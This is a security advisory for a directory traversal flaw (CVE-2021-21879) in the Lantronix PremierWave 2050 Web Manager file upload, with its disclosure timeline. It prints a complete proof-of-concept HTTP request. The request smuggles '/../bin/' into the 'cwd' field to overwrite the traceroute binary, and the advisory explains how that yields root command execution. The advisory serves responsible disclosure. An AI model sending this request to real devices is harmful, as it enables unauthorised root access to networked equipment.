Talos Vulnerability Report

TALOS-2021-1323

Lantronix PremierWave 2050 Web Manager File Upload directory traversal vulnerability

NOVEMBER 15, 2021

CVE NUMBER

CVE-2021-21879

Summary

A directory traversal vulnerability exists in the Web Manager File Upload functionality of Lantronix PremierWave 2050 8.9.0.0R4. A specially-crafted HTTP request can lead to arbitrary file overwrite. An attacker can make an authenticated HTTP request to trigger this vulnerability.

Tested Versions

Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU)

Product URLs

https://www.lantronix.com/products/premierwave2050/

CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Details

PremierWave 2050 is an embedded Wi-Fi Module manufactured by Lantronix.

The PremierWave 2050 allows an unprivileged, authenticated user to upload files into a restricted directory tree, rooted at `/ltrx_user/`. The function responsible for handling the file upload takes two attacker-controlled HTTP Post parameters, `cwd` and `selectedfile`. The system successfully sanitizes the contents of the `filename` attribute of the `selectedfile` form-data field, removing unsafe path traversal primitives. The same level of scrutiny is not given to the `cwd` parameter, which is concatenated with the sanitized `filename` to craft the final file path for the uploaded file contents.

```
POST /fs HTTP/1.1
Host: [IP]:[PORT]
Content-Length: 308
Authorization: Basic YnJvd25pZTpwb2ludHM=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBGAzW2oT7oZregD6
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundaryBGAzW2oT7oZregD6
Content-Disposition: form-data; name="cwd"

/../bin/
------WebKitFormBoundaryBGAzW2oT7oZregD6
Content-Disposition: form-data; name="selectedfile"; filename="traceroute"
Content-Type: text/plain

#!/bin/bash
whoami

------WebKitFormBoundaryBGAzW2oT7oZregD6--
```

The above request will overwrite the contents of `/ltrx_user/../bin/traceroute` with the included shell script, maintaining the original file's executable permissions. Subsequent unprivileged, authenticated requests made to the `Diagnostics: Traceroute` page will cause the overwritten `traceroute` to be executed with root privileges.

Timeline

2021-06-14 - Vendor Disclosure

2021-06-15 - Vendor acknowledged

2021-09-01 - Talos granted disclosure extension to 2021-10-15

2021-10-18 - Vendor requested release push to 2nd week of November. Talos confirmed final extension and disclosure date

2021-11-15 - Public Release

CREDIT

Discovered by Matt Wiseman of Cisco Talos.